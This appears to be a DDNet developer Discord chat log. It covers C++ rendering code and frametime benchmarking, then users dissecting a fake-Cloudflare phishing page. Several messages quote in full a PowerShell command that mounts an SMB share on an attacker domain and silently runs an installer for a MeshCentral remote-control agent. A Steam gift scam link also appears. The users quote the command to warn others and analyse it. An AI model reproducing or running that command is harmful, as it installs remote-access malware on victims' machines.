benchmarking opens 🙈 13:43 < bridge_> fucking mosqutio bit my finger 13:43 < bridge_> what a bih 13:44 < bridge_> ok anyway i've todo now, cya 13:44 < bridge_> bb 13:49 < bridge_> is it better to delete a quad container or reset it? 13:49 < bridge_> (if i need a pool of quad containers) 13:52 < bridge_> ddnet only uses a single cpu core for rendering right? At least I now know, that I am cpu "bottlenecked" in ddnet 13:55 < bridge_> <.c.f.m.> yeah it uses only a single cpu core 14:11 < ws-client> @teero777 vc before GTA 6 14:22 < bridge_> ```cpp 14:22 < bridge_> // Update age of items, delete old items, render items 14:22 < bridge_> m_vItems.remove_if([&](CBgDrawItem &Item) 14:22 < bridge_> { 14:22 < bridge_> // If this item is currently selected 14:22 < bridge_> if(std::any_of(std::begin(m_apActiveItems), std::end(m_apActiveItems), [&](const std::optional &ActiveItem) { 14:22 < bridge_> return ActiveItem.value_or(nullptr) == &Item; 14:22 < bridge_> })) 14:22 < bridge_> Item.m_SecondsAge = 0.0f; 14:22 < bridge_> else 14:22 < bridge_> Item.m_SecondsAge += aDelta[Item.m_Dummy]; 14:22 < bridge_> if(Item.m_SecondsAge > (float)g_Config.m_ClBgDrawFadeTime) 14:22 < bridge_> return true; 14:22 < bridge_> Item.Render(); 14:22 < bridge_> return false; 14:22 < bridge_> }); 14:22 < bridge_> ``` 14:22 < bridge_> am i winning guys 14:23 < bridge_> are you just stacking lambdas 14:23 < bridge_> this is very functional 14:23 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359866367523950612/663328b7b90737387edd5b7adb131e6d.jpg?ex=67f909bf&is=67f7b83f&hm=916737963ddc80a79c3c9a077b7271fc25b5775b90a2d350470241f473914587& 14:23 < bridge_> idk functional code makes me feel like a wizard 14:24 < bridge_> i think you can early exit if m_SecondsAge is 0 14:24 < bridge_> no since i need to render if its not deleted 14:24 < bridge_> I hope g_Config.m_clBgDrawFadeTime is never negative 14:24 < bridge_> no its min value is 0 14:24 < bridge_> oh yeah it's the other way round :nouis: 14:24 < bridge_> in which case the comparison shouldnt be done 14:24 < bridge_> java data streams are also like this 14:24 < bridge_> but that's java 14:25 < bridge_> data streams in all languages are very good at being processed in a functional way 14:25 < bridge_> or streams in general 14:25 < bridge_> idk but in c++ range is like too late 14:25 < bridge_> see posix shell, cpp io, js http 14:26 < bridge_> all very functional 14:26 < bridge_> the ranges thing cpp has is very hard for me to figure out due to type shenangs 14:26 < bridge_> the concept i understand 14:27 < bridge_> :nouis: 14:28 < bridge_> all of the new cpp functional stuff is to 14:28 < bridge_> 1. offer functional paradims 14:28 < bridge_> 2. tell the compiler exactly what your doing 14:28 < bridge_> for 2. 14:28 < bridge_> any_of is far more explicit than a loop 14:28 < bridge_> i think it also hopes to let the compiler do more optimizations 14:28 < bridge_> but im very scared it just increases compile time and isnt any better xd 14:28 < bridge_> its far easier to read though 14:28 < bridge_> (for what im doing) 14:31 < bridge_> converting between my "old style" code and new style code is very hard 14:31 < bridge_> though 14:32 < bridge_> shoulda done stuff more incrementally 14:32 < bridge_> it uses main thread + 1 thread for the backend + 3 rendering threads if you use vk (can be controlled by some cfg var) 14:34 < bridge_> can vk do uploading threaded? 14:34 < bridge_> to a certain extend yes, to a certain no 14:35 < bridge_> you can allocate memory threaded, but filling it requires cmds, and cmds must be queued to a queue and this queue requires a lock, thus it's at least also blocking the rendering stuff during filling the queue 14:35 < bridge_> darn 14:36 < bridge_> but the command is cheap 14:36 < bridge_> memory uploading is async these days 14:36 < bridge_> right 14:37 < bridge_> not that i'm aware of 14:37 < bridge_> inside the driver maybe 14:38 < bridge_> doesnt dma (direct memory access) mean its non blocking 14:39 < bridge_> what? xd 14:41 < bridge_> in any way it depends on your memory design anyway. 14:41 < bridge_> 14:41 < bridge_> a soc vram can probably do it basically like a CPU.. just fill the memory and use it 14:41 < bridge_> but discrete gpus require it to copy from host memory to device memory. 14:42 < bridge_> would be nice if igpus could use memory without having to copy it 14:42 < bridge_> you can use coherent memory between host & device, but in my experience it's slow. i dunno if it directly uses the pcie bus to write memory 14:42 < bridge_> that is atleast not cpu involved anymore with dma 14:42 < bridge_> but i see no reason why it should be gpu involved 14:42 < bridge_> apart from cache shenanigans 14:42 < bridge_> it's not about the gpu 14:42 < bridge_> i think macos silicon shared memory 14:42 < bridge_> shares 14:42 < bridge_> it's about how the driver should handle it 15:03 < bridge_> hmm do you have the cfg var for me? 15:04 < bridge_> gfx_***thread_count 15:04 < bridge_> gfx_render_thread_count 15:07 < bridge_> this config doesn't do anything for me xD I can set it to 1, I can set it to 12, all the same, vulkan might ignore it 15:08 < bridge_> you have to restart client 15:08 < bridge_> I did 15:08 < bridge_> Ah, now that I'm on a larger screen I see why your lambda captures were crashing 15:08 < bridge_> They are static lambdas, the closure object is initialized only once 15:08 < bridge_> I actually guessed that this was the case :/ 15:09 < bridge_> on a backend demanding (many draw calls) scenario it was more consistent than lower threads for me: 15:09 < bridge_> https://user-images.githubusercontent.com/6654924/153448356-941222a3-8bd3-424d-8685-a43389a4f691.png 15:09 < bridge_> That was back on my ryzen 3950x 15:09 < bridge_> i got a project idea 15:09 < bridge_> You could just remove the static, it shouldn't matter in terms of optimization as far as I can think 15:09 < bridge_> but wont tell until i have something usable 15:09 < bridge_> in case i get lazy 15:09 < bridge_> ddnet related 15:10 < bridge_> how did you obtain the frametimes (I know you plotted with matplotlib) 15:10 < bridge_> how did you obtain the frametimes (I know you plotted with matplotlib)? 15:10 < bridge_> with the benchmark f1 cmd 15:11 < bridge_> didn't I ask for a command like this D: 15:12 < bridge_> did you do this consistently with a demo? Now All left to do is just start a demo with like 5 seconds 15:13 < bridge_> I think it was a demo yeah 15:13 < bridge_> bind x "demo_play; benchmark_quit " 15:14 < bridge_> i already told you about it today xD 15:14 < bridge_> ^ 15:15 < bridge_> I read this as "it has a benchmark f1 cmd, cl_showfps 2" and thought you trolled me 15:15 < bridge_> our discussion was chaos anyway xD 15:17 < bridge_> `--config Release --target game-client -j 18 --` I wonder why cmake detects 18 cores when I have an 8 core processor 15:17 < bridge_> You probably have 2 threads per core 15:18 < bridge_> 2 * 8 = 18, yes 15:18 < bridge_> +1 extra per core to make sure it stays saturated 15:18 < bridge_> 2 * (8 + 1) = 18, sorted 15:18 < bridge_> hmm alright 15:20 < bridge_> see it, say it, sort it 15:21 < bridge_> It's supposed to be "see it, say it, sorted" 😄 15:21 < bridge_> see issue, solve issue, see 2 issues 15:22 < bridge_> It is an educated guess btw, only way to find out the real answer is to look at manuals/code 15:22 < bridge_> oops 15:22 < bridge_> darn youre just more bri'ish than me 15:23 < bridge_> "uaaah plz miend the trein btwn teh treain & teh plabfowm" 15:23 < bridge_> "uaaah plz miend the trein btwn teh gap & teh plabfowm" 15:23 < bridge_> They burnt it into my brain in the tube 15:23 < bridge_> i thought that was c2c only 15:24 < bridge_> that had it on the pa 15:24 < bridge_> default website 15:24 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359881721570398309/image.png?ex=67f9180b&is=67f7c68b&hm=df3316a385287a8af8bf5e204afd9b1002ea7f0d1ad29ebd2eeeb94789be98c0& 15:25 < bridge_> @jupeyy_keks I now have a huge file containg lots of lines with nano seconds of frame times, what kind of format is this. Am I right to assume, that it contains a number for each frame drawn for 10 seconds? 15:26 < bridge_> yes, the format is smth that can be parsed by the pts benchmarking tool 15:27 < bridge_> but i am sure you can parse it too xd 15:27 < bridge_> std::list has size but 15:27 < bridge_> std::forward_list doesnt ):< 15:28 < bridge_> I just hope its always "Frametime ns" and never ever has something else xD 15:28 < bridge_> should be 15:39 < bridge_> colour 15:39 < bridge_> :cammostripes: 15:39 < bridge_> chips 15:43 < bridge_> I was wondering why my average result looked so shit: 15:43 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359886560920866976/shit_results.png?ex=67f91c8d&is=67f7cb0d&hm=37fc8071ff2a2e442820c937962c5c2a38c9d9a3d0a383f195ff99a9f52867dc& 15:44 < bridge_> well ... xD guess I have to exclude first few thousand results 15:44 < bridge_> yeah 15:45 < bridge_> colour is spelt wrong, everyone here sais "culuh" 15:45 < bridge_> @patiga have u tried to integrate twgpu with egui 15:45 < bridge_> looking into it 15:47 < bridge_> ```cpp 15:47 < bridge_> Tp1> >::construct(allocator_type&, _Up*, _Args&& ...) [with _Up = CBgDrawPoint; _Args = {vector2_base&}; _Tp = CBgDrawPoint; allocator_type = std::allocator]’ 15:47 < bridge_> no matching function for call to ‘CBgDrawPoint::CBgDrawPoint(vector2_base&)’ 15:47 < bridge_> 191 | { ::new((void *)__p) _Up(std::forward<_Args>(__args)...); } 15:47 < bridge_> | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 15:47 < bridge_> /home/solly/Code/ddnet/src/game/client/components/tclient/bg_draw.cpp:18:7: note: candidate: ‘CBgDrawPoint::CBgDrawPoint()’ 15:47 < bridge_> 18 | class CBgDrawPoint 15:47 < bridge_> | ^~~~~~~~~~~~ 15:47 < bridge_> /home/solly/Code/ddnet/src/game/client/components/tclient/bg_draw.cpp:18:7: note: candidate expects 0 arguments, 1 provided 15:47 < bridge_> /home/solly/Code/ddnet/src/game/client/components/tclient/bg_draw.cpp:18:7: note: candidate: ‘constexpr CBgDrawPoint::CBgDrawPoint(const CBgDrawPoint&)’ 15:47 < bridge_> /home/solly/Code/ddnet/src/game/client/components/tclient/bg_draw.cpp:18:7: note: no known conversion for argument 1 from ‘vector2_base’ to ‘const CBgDrawPoint&’ 15:47 < bridge_> ``` 15:47 < bridge_> part of an average cpp error for "you forgot some arguments in the constructor" 15:47 < bridge_> the only 2 kinds of ppl that use colour are: 15:47 < bridge_> - british 15:47 < bridge_> - french 15:47 < bridge_> xD 15:47 < bridge_> its just silly 15:47 < bridge_> we should reform spelling at the same time we do speach 15:47 < bridge_> @sollybunny be honest do you generally prefer british pronounce over american? 15:48 < bridge_> an american american accident makes me uncomfortable 15:48 < bridge_> an american from youtube accent is fine 15:48 < bridge_> i prefer posh proper british 15:49 < bridge_> like from a language nerd in cambridge not from stuckup royalty 15:49 < bridge_> scottish and irish accents dont ick me, but i have trouble understanding them 15:49 < bridge_> there are defs word where i sometimes say it more british sometimes for american. 15:49 < bridge_> 15:49 < bridge_> best example is "either". 15:49 < bridge_> 15:50 < bridge_> either that sounds more like e is somehow easier to use during a sentence, while i prefer "I ther" at the start of a sentence 15:50 < bridge_> either and ither have different uses for me 15:50 < bridge_> there are defs word where i sometimes say it more british sometimes more american. 15:50 < bridge_> 15:50 < bridge_> best example is "either". 15:50 < bridge_> 15:50 < bridge_> either that sounds more like e is somehow easier to use during a sentence, while i prefer "I ther" at the start of a sentence 15:50 < bridge_> i do not know the rules 15:50 < bridge_> i use both but not interchangably 15:50 < bridge_> maybe ither is for emphasis like thee 15:51 < bridge_> yeah probs 15:51 < bridge_> less posh british (from what you would find in a pub or chip shop) as well as "from the hood" do ick me 15:51 < bridge_> i can understand the former tho 15:51 < bridge_> i have problems with understanding people a lot, its really annoying, i wish people had subtitles xd 15:53 < bridge_> less posh british (from what you would find in a pub or chip shop or avg school [i think]) as well as "from the hood" do ick me 15:53 < bridge_> i can understand the former tho 15:53 < bridge_> wtf xD 15:53 < bridge_> 15:53 < bridge_> are you even native british speaker? 15:53 < bridge_> less posh english accents (from what you would find in a pub or chip shop or avg school [i think]) as well as "from the hood" do ick me 15:53 < bridge_> i can understand the former tho 15:54 < bridge_> yes, but i have (self diagonosed) {auditory} dyslexia 15:54 < bridge_> i have: my brain always thinks smth different than i actually type in syndrom 15:55 < bridge_> i think much faster than i type, so i often have a few seconds to think about it even if im not a "think before you speak" kinda person 15:56 < bridge_> i (as most people) think much faster than i type, so i have a few seconds to think about it even if im not a "think before you speak" kinda person 15:56 < bridge_> i used to type a lot worse though 15:56 < bridge_> speaking is hard, you cant edit what you say half way through without confusion 15:59 < bridge_> this is very #off-topic 15:59 < bridge_> developing my english skillz 16:00 < bridge_> ugh why cant u make a list of something of unknown size 16:05 < bridge_> @patiga ur vek in twgpu is outdated :d 16:05 < bridge_> so i need to use a older version to match 16:06 < bridge_> lib.rs(920, 1): two different versions of crate `wgpu` are being used; two types coming from two different versions of the same crate are different types even if they look the same 16:06 < bridge_> tw_render_pass.rs(16, 12): associated function defined here 16:06 < bridge_> frametimes with different rendering options. blue is the old rendering, so I am doing shit rn 16:06 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359892219154137138/RenderComparison.png?ex=67f921d2&is=67f7d052&hm=d34259c92edf446d694399a525a101902bce531d10f78766d1f6f4434453d634& 16:06 < bridge_> omg 16:06 < bridge_> u also use a older wgpu 16:06 < bridge_> xD 16:06 < bridge_> no. someone else tried and stopped trying a year ago or so 16:06 < bridge_> im trying rn 16:06 < bridge_> btw @sollybunny I was checking with and without lambda, and the lambda is slower 16:06 < bridge_> you can go on the master branch if you like 16:06 < bridge_> is master updated 16:07 < bridge_> its on 24 wgpu, no? 16:07 < bridge_> vek is outdated let me see wgpu 16:07 < bridge_> is it not inlined? 16:07 < bridge_> ye wgpu is ok 16:08 < bridge_> I don't think you'll be missing any vek features ^^ 16:08 < bridge_> the difference is miniscule tho, so the rendering issue comes from somewhere different 16:08 < bridge_> ``` 16:08 < bridge_> Number Frametimes New w. Lambda: 13079 16:08 < bridge_> Average New w. Lambda: 386.1872467314015 16:08 < bridge_> Max New w. Lambda: 665 16:08 < bridge_> Min New w. Lambda: 270 16:08 < bridge_> Number Frametimes New n. Lambda: 13252 16:08 < bridge_> Average New n. Lambda: 386.839118623604 16:08 < bridge_> Max New n. Lambda: 663 16:08 < bridge_> Min New n. Lambda: 258 16:09 < bridge_> ``` 16:09 < bridge_> that might just be random error 16:09 < bridge_> its just i liek to be on latest shiniest 16:09 < bridge_> the thing im trying to do but probs will not do is tweditor 16:09 < bridge_> 200 frames is 2 sigma, so not significant 16:09 < bridge_> maybe there is another one doing it 16:09 < bridge_> but this is my own with egui 16:09 < bridge_> 200 frames is 2 sigma, so not significant, fo a physicist 16:09 < bridge_> 200 frames is 2 sigma, so not significant, for a physicist 16:10 < bridge_> there is the web editor I guess 16:10 < bridge_> is it native 16:10 < bridge_> or its built on js 16:10 < bridge_> js ^^ 16:10 < bridge_> good luck, cool project :D 16:10 < bridge_> ill try to finish it 16:10 < bridge_> first i need to get twgpu to work with egui eframe 16:10 < bridge_> idk what the units are 16:11 < bridge_> x axis is just frame ID, y axis is frametime 16:11 < bridge_> this is not a table 16:11 < bridge_> what unit do you now understand? 16:12 < bridge_> all of them 16:12 < bridge_> or do you mean `us` 16:12 < bridge_> so nanoseconds? 16:12 < bridge_> there are no units given 16:13 < bridge_> (us is microseconds) 16:13 < bridge_> (I only not it as `µs` 16:13 < bridge_> (I only not it as `µs`) 16:13 < bridge_> (what) 16:14 < bridge_> am i being trolled 16:14 < bridge_> (`us` = country, `µs` = microseconds :kek: ) 16:14 < bridge_> typically when you are talking about `us` in the context of time its microseconds 16:14 < bridge_> anyway 16:14 < bridge_> what are the units 16:14 < bridge_> in here 16:14 < bridge_> you asked for the units? Frametime in microseconds? 16:15 < bridge_> That's only 70fps 16:15 < bridge_> What's the other unit 16:16 < bridge_> no that cant be, should be in the thousands 16:16 < bridge_> give me a sec 16:16 < bridge_> As nanoseconds it's 79kfps 16:17 < bridge_> 1s / 390 µs = 2 564.10256 (fps) 16:17 < bridge_> ?? 16:17 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359895111290458173/Screenshot_20250410-171726.png?ex=67f92484&is=67f7d304&hm=f1d2c10bc2d303851b9a175208dca609d231ae78ce5b8c8700ed868934be4af4& 16:18 < bridge_> Unless me calculator is being used wrong 16:18 < bridge_> maybe take the 390 microsecond average and not the total number of frametimes recorded? 16:19 < bridge_> is that table really that unreadable? 16:22 < bridge_> ``` 16:22 < bridge_> Number Frametimes New w. Lambda: 13079 16:22 < bridge_> Average New w. Lambda: 386.1872467314015 µs 16:22 < bridge_> Average FPS New w. Lambda: 2589.4174612542647 16:23 < bridge_> Max New w. Lambda: 665 µs 16:23 < bridge_> Min New w. Lambda: 270 µs 16:23 < bridge_> Number Frametimes New n. Lambda: 13252 16:23 < bridge_> Average New n. Lambda: 386.839118623604 µs 16:23 < bridge_> Average FPS New n. Lambda: 2585.0539716822277 16:23 < bridge_> Max New n. Lambda: 663 µs 16:23 < bridge_> Min New n. Lambda: 258 µs 16:23 < bridge_> ``` 16:23 < bridge_> ofc and then discord doesn't format it right anyway 16:24 < bridge_> 200us difference is nothing but 16:24 < bridge_> There shouldn't be anything 16:24 < bridge_> might be noise 16:26 < bridge_> You can limit the amount of time / second DDNet has 16:27 < bridge_> Using... some random program 16:27 < bridge_> some random engine you mean? 16:27 < bridge_> Non 16:27 < bridge_> Probably like "theprogram ./DDNet" 16:28 < bridge_> There must be someone who has done that 16:28 < bridge_> Theprogram has to be real time scheduled though 16:28 < bridge_> To stop and start the program 16:29 < bridge_> Maybe Linux has a built-in way to do it 17:05 < bridge_> what does `Graphics()->BlendNormal();` do? 17:08 < bridge_> I missed this in one case, and this was causing slightly higher frametimes 17:08 < bridge_> took me now 2 hours to debug 18:01 < bridge_> <2trg_37765> AHAHHAAH 😭😭 https://www.youtude.net/watch?v=i50wel2lVsw 18:02 < bridge_> tf is youtude 18:02 < bridge_> @Discord Mod 18:02 < bridge_> every channel:nouis: 18:04 < bridge_> XDDDDDDDDDD 18:04 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359922026713976985/image.png?ex=67f93d95&is=67f7ec15&hm=c87fa41ca9d3f3bed0e2a6eb4eb7f1ae5264a5825e51e87726b7dda2c0ba89c2& 18:04 < bridge_> it's just a troll ig xd 18:05 < bridge_> a fake cloudflare menu 18:05 < bridge_> was that the link? 18:05 < bridge_> yea 18:05 < bridge_> would be weird if youtube used cloudflare 18:05 < bridge_> they have their own shit 18:05 < bridge_> and own anticaptcha 18:06 < bridge_> "hi this is google uuh can you install this miner on your pc so you can use google" 18:06 < bridge_> it is putting this in your clipboard: || powershell -Command "Start-Process cmd -ArgumentList '/c net use \\dfjkhdsljkfhsd.com\shear /user:WORKGROUP\smbusr aabb1234! && \\dfjkhdsljkfhsd.com\shear\dc -fullinstall' -windowstyle hidden -Verb RunAs; # Cloudflare verification (Ray ID: 90b0e54eb8bdaasd84) || This is a virus please don't execute this 18:07 < bridge_> and then asking for you to execute it to verify 18:07 < bridge_> you can censor the domain 18:07 < bridge_> you press verify and it says "successfully" 18:08 < bridge_> it is putting this in your clipboard: || powershell -Command "Start-Process cmd -ArgumentList '/c net use \\viruslink.com\shear /user:WORKGROUP\smbusr aabb1234! && \\viruslink.com\shear\dc -fullinstall' -windowstyle hidden -Verb RunAs; # Cloudflare verification (Ray ID: 90b0e54eb8bdaasd84) || This is a virus please don't execute this 18:08 < bridge_> so that nobody even remotely tries to execute 18:08 < bridge_> ❤️ 18:08 < bridge_> just leads to a server from someone ig 18:08 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359923038077976789/image.png?ex=67f93e86&is=67f7ed06&hm=3b404faaac3d0555b676dd79f58aeeeb80c373ee89edeeaacb060b51746842b4& 18:08 < bridge_> just leads to a server from the owner ig 18:08 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359923038077976789/image.png?ex=67f93e86&is=67f7ed06&hm=3b404faaac3d0555b676dd79f58aeeeb80c373ee89edeeaacb060b51746842b4& 18:09 < bridge_> https://github.com/Ylianst/MeshCentral 18:09 < bridge_> yea it's a remote monitoring/control scam 18:15 < bridge_> this guy made this thing yesterday and is already distributing it lmao. 18:15 < bridge_> although i don't think it has a high success rate 18:15 < bridge_> i guess he is just building his botnet 18:15 < bridge_> how do you know 18:16 < bridge_> yesterday* 18:16 < bridge_> 💀 18:16 < bridge_> did u already hacked in 18:16 < bridge_> did u already hack in 18:18 < bridge_> you can check since when the domain is up 18:20 < bridge_> :jaouis: 18:21 < bridge_> did anyone use the acid tool yet 18:21 < bridge_> idk what the domain originally was 18:23 < bridge_> yes 18:36 < bridge_> youtude.net is a great domain ngl, it looks fine at a quick skim 18:40 < bridge_> whats youtude 18:52 < bridge_> it's youtube with a D 18:53 < bridge_> perfect for scamming people 18:58 < bridge_> yea 18:59 < bridge_> so.. do we like the random malicious domains more than we like fast flux 19:06 < bridge_> Hey, you guys know why Monster and teeware servers are not registering in the master? 19:07 < bridge_> is it possible to make an auto unfreeze using the lua api in ATH? 19:08 < bridge_> what’s ATH 19:08 < bridge_> any lua api for a client is almost definitely a cheat btw 19:08 < bridge_> not an exhaustive statement 19:08 < bridge_> Perhaps there is an issue with the legacy masterserver 19:09 < bridge_> ATH unless they added back the input capabilities is legit 19:09 < bridge_> Oh, i didnt know 19:09 < bridge_> Thx man 19:09 < bridge_> No, that's why we unbanned the client. The author agreed to remove input capabilities from the lua api 19:11 < bridge_> Also quite funny that you'd ask pretty much how to make a bot on the official discord 😄 19:11 < bridge_> how to use callvote kick 19:11 < bridge_> when me use e.g. callvote kick Marou he kicking random player 19:11 < bridge_> I just want to study Lua 19:11 < bridge_> get love2d 19:12 < bridge_> or gmod 19:12 < bridge_> or roblox 19:12 < bridge_> or a life 19:12 < bridge_> Guys how do I rob a bank? I want to study stealth 19:12 < bridge_> But it's more interesting 19:12 < bridge_> or 19:12 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359939145870479471/image.png?ex=67f94d86&is=67f7fc06&hm=a431a05a4f67c224d77f68dc5a67bd8dde255d699b57754b31d7e34a654e755d& 19:12 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359939146117808310/image.png?ex=67f94d86&is=67f7fc06&hm=b7264ebe80d58a035966dac378ec7d374c1f485642d3c9d20af83f234b9e36cb& 19:12 < bridge_> 5head 19:13 < bridge_> "invalid client id to kick" 19:13 < bridge_> i’d do that thru the vote menu. f1 commands usually take player IDs 19:13 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359939347226558514/image.png?ex=67f94db6&is=67f7fc36&hm=a35ebba94b20028429bb50205a4232941e200f0c551da68d925ddaead99d7d2b& 19:13 < bridge_> not the same 19:13 < bridge_> that’s his name 19:13 < bridge_> im making custom client 19:13 < bridge_> ty 19:13 < bridge_> give me the TeeTown discord server, please 19:14 < bridge_> 🥱 19:14 < bridge_> Hm, it seems up for me, I'm not sure, do you know who was hosting these servers? 19:14 < bridge_> Me 19:15 < bridge_> Can you check if you can find them with the vanilla 0.6 client? 19:15 < bridge_> Theyre working Fine some days ago 19:15 < bridge_> I aint home now, but when i Go home i Will check 19:16 < bridge_> np, the player ID can be found by turning on some setting (cl_nameplate_show_id or something like that? probably putting “id” and tab completing would get you the command, and then just turn it on obv) 19:16 < bridge_> i can’t remember if the feature to show it in chat falls under the same setting 19:17 < bridge_> ty 19:17 < bridge_> np 19:18 < bridge_> GIVE ME DISCORD SERVER TEETOWN 19:19 < bridge_> 😴 19:21 < bridge_> i dont think you need to hide the randomly generated ray id 19:21 < bridge_> yea ik 19:21 < bridge_> you should hide the malicious url at the top 19:22 < bridge_> hi 19:22 < bridge_> where? 19:22 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359941605892817088/image.png?ex=67f94fd1&is=67f7fe51&hm=eb171f65c0373b4c6a6c3362574797cefae199d4b8a410f212b2c4aa54c75fd2& 19:22 < bridge_> youtube.com? 19:22 < bridge_> thats not malicious 19:22 < bridge_> (its a /j) 19:22 < bridge_> makes cents 19:22 < bridge_> crazy humor 19:22 < bridge_> no i got no money for my joke 19:23 < bridge_> i just played irish snap 19:23 < bridge_> my hands are bleeding alot 19:23 < bridge_> crazy stuff 19:24 < bridge_> thats fun 19:25 < bridge_> actually did anyone copy off what the "verification" thing was? I wonder what they were trying to get you to paste into the run prompt 19:27 < bridge_> These teehistorian issues are filling my tool with stupid ugly workarounds 19:27 < bridge_> # DO NOT PASTE THIS INTO WIN+R 19:27 < bridge_> `powershell -Command "Start-Process cmd -ArgumentList '/c net use \\dfjkhdsljkfhsd.com\shear /user:WORKGROUP\smbusr aabb1234! && \\dfjkhdsljkfhsd.com\shear\dc -fullinstall' -windowstyle hidden -Verb RunAs; # Cloudflare verification (Ray ID: 90b0e54eb8bdaasd84)` 19:27 < bridge_> # DO NOT PASTE THIS INTO WIN+R 19:27 < bridge_> ||`powershell -Command "Start-Process cmd -ArgumentList '/c net use \\dfjkhdsljkfhsd.com\shear /user:WORKGROUP\smbusr aabb1234! && \\dfjkhdsljkfhsd.com\shear\dc -fullinstall' -windowstyle hidden -Verb RunAs; # Cloudflare verification (Ray ID: 90b0e54eb8bdaasd84)`|| 19:27 < bridge_> curious 19:28 < bridge_> idk what the heck is going on 19:28 < bridge_> It's connecting to a samba share and running something off of it 19:28 < bridge_> `dfjkhdsljkfhsd.com` interseting domain 19:28 < bridge_> Can I be assed set up smb so I can take a look at what they are trying to get you to run? 19:28 < bridge_> hmmm 19:28 < bridge_> i dont get why a lot of viruses go to so much effort to hide, just a payload 19:29 < bridge_> 1 step is enough to get past antiviruses which look at the executable or command 19:29 < bridge_> and not enough to get past antiviruses which look at what the executable is doing 19:29 < bridge_> (those 2 msgs are same size nice) 19:31 < bridge_> Very curious choice to use SMB of all things 19:31 < bridge_> yeah 19:31 < bridge_> https://cdn.discordapp.com/attachments/293493549758939136/1359943984205660393/image.png?ex=67f95208&is=67f80088&hm=36003c0da75aba0bd607bae0557da6ca4fdaa862b7fd7ee168d08b49797215fa& 19:31 < bridge_> would be nice if that worked 19:33 < bridge_> It's probably not a very smart person running this operation, could probably bruteforce this 19:33 < bridge_> i cant seem to mount it either 19:33 < bridge_> Be careful btw 19:34 < bridge_> can mounting something be dangerous 19:34 < bridge_> I do not know, hence the be careful 😄 19:34 < bridge_> i wouldnt think so unless there was a vulrnability (which this isnt explotiing) 19:34 < bridge_> it'd be hilarious if it's an SMB 0-day exploit 19:34 < bridge_> and its also targetting window 19:35 < bridge_> z 19:36 < bridge_> There was a goof here a couple months ago trying to get me to run his "game", that was fun to reverse engineer 19:36 < bridge_> ive never really reverse engineered viruses 19:36 < bridge_> given i could figure out how to mount this 19:36 < bridge_> would be fun to do 19:36 < bridge_> if it didnt use arcane tools like smb i could do it xd 19:40 < bridge_> what is this? 19:40 < bridge_> `dfjkhdsljkfhsd.com` 19:40 < bridge_> best domain name 19:41 < bridge_> 19:41 < bridge_> maybe its a bot net 19:41 < bridge_> I'm in, let's see what this dc is 19:42 < bridge_> woaw 19:42 < bridge_> it probably installs mesh central then 19:44 < bridge_> dc.exe is a meshcentral installer it seems, and there sems to be an embedded script in there that does something 19:46 < bridge_> @sollybunny i literally censored the domain so no one executes this and you put # do not execute 19:46 < bridge_> bruh 19:47 < bridge_> they wanted to know the command xd 19:47 < bridge_> # do execute this: 19:47 < bridge_> :nouis: 19:47 < bridge_> Good idea to delete that just incase someone suffers from extremely low IQ 19:47 < bridge_> sure 19:47 < bridge_> # do execute this: 19:47 < bridge_> -# :nouis: 19:47 < bridge_> whered it go 19:47 < bridge_> [censored domain name] 19:47 < bridge_> best domain name 19:47 < bridge_> oh you deletedit 19:47 < bridge_> I think it's legit software, why would they have a 40 part video series? https://www.youtube.com/@MeshCentral/videos 19:48 < bridge_> me has virus now 19:48 < bridge_> yea ofc, its just a guy having fun making a big botnet 19:48 < bridge_> he started yesterday xd 19:48 < bridge_> wait is the whole thing a sham? 19:48 < bridge_> It's probably legit software, just being used by this dude 19:48 < bridge_> the videos are 2/3 years old its not just 19:48 < bridge_> for youdood 19:52 < bridge_> @everyone steam gift 50$ - [steamcommunity.com/gift-card/pay/50](https://u.to/8U05Ig ) 19:54 < bridge_> darn 19:56 < bridge_> [xx/69] when you edit a componenet header in tclient u get 69 :) 19:56 < bridge_> `addCompressedModule('toaster',` very curious things in here 😄 19:58 < bridge_> toaster!! 19:59 < bridge_> Somewhere in this bundle there has to be some authentication keys to let this new drone join the swarm 20:00 < bridge_> its a legit software, the hacker just uses it for malicious purposes 20:00 < bridge_> i think so 20:00 < bridge_> see here 20:00 < bridge_> Already got it, digging around in it 20:00 < bridge_> sry 20:01 < bridge_> i read top to bottom 20:01 < bridge_> it’s very easy 20:01 < bridge_> darn i had to have mine deleted 20:01 < bridge_> ghasp 20:01 < bridge_> very common 20:02 < bridge_> it’s a windows network share URL, CIFS extends SMB so explorer can use it by default ig 20:02 < bridge_> Any idea why it's any better than just fetching through http the virus? 20:02 < bridge_> i guess http is too predictable 20:02 < bridge_> too often explored of an avenue 20:03 < bridge_> who’s looking for malware distributed via. network share 20:03 < bridge_> `MeshName=discordspam` 20:03 < bridge_> What an uninspired loser 20:03 < bridge_> also works on windows by default 20:04 < bridge_> which is prob the #1 thing 20:04 < bridge_> for them 20:04 < bridge_> Imagine spending all this time collecting bots for a swarm, to spam discord 20:04 < bridge_> i think they probably get paid 20:05 < bridge_> Seems it's a croatian or serbian guy runing the operation 20:05 < bridge_> why cant people stop making viruses 20:05 < bridge_> (ie be not evil human beings) 20:06 < bridge_> Or maybe there is no meaning to the order of these languages now that I think about it 20:06 < bridge_> <.isyxmn.> its running for 5 minutes and its still not done 20:06 < bridge_> <.isyxmn.> https://cdn.discordapp.com/attachments/293493549758939136/1359952629933019417/2025-04-10_20.05.14.png?ex=67f95a15&is=67f80895&hm=66c6e0df5e395157d6c36a7d85b9d5eb212dfe26eff1c9ebd0321ee4459785e6& 20:06 < bridge_> <.isyxmn.> oh my god 20:07 < bridge_> sols rng 20:07 < bridge_> because result never == d 20:07 < bridge_> <.isyxmn.> yes 20:07 < bridge_> <.isyxmn.> its 20:07 < bridge_> <.isyxmn.> 1 in 10000000000000 20:07 < bridge_> <.isyxmn.> or sum 20:07 < bridge_> becuase d == "unknown" not ["unknown"] 20:08 < bridge_> :nouis: 20:08 < 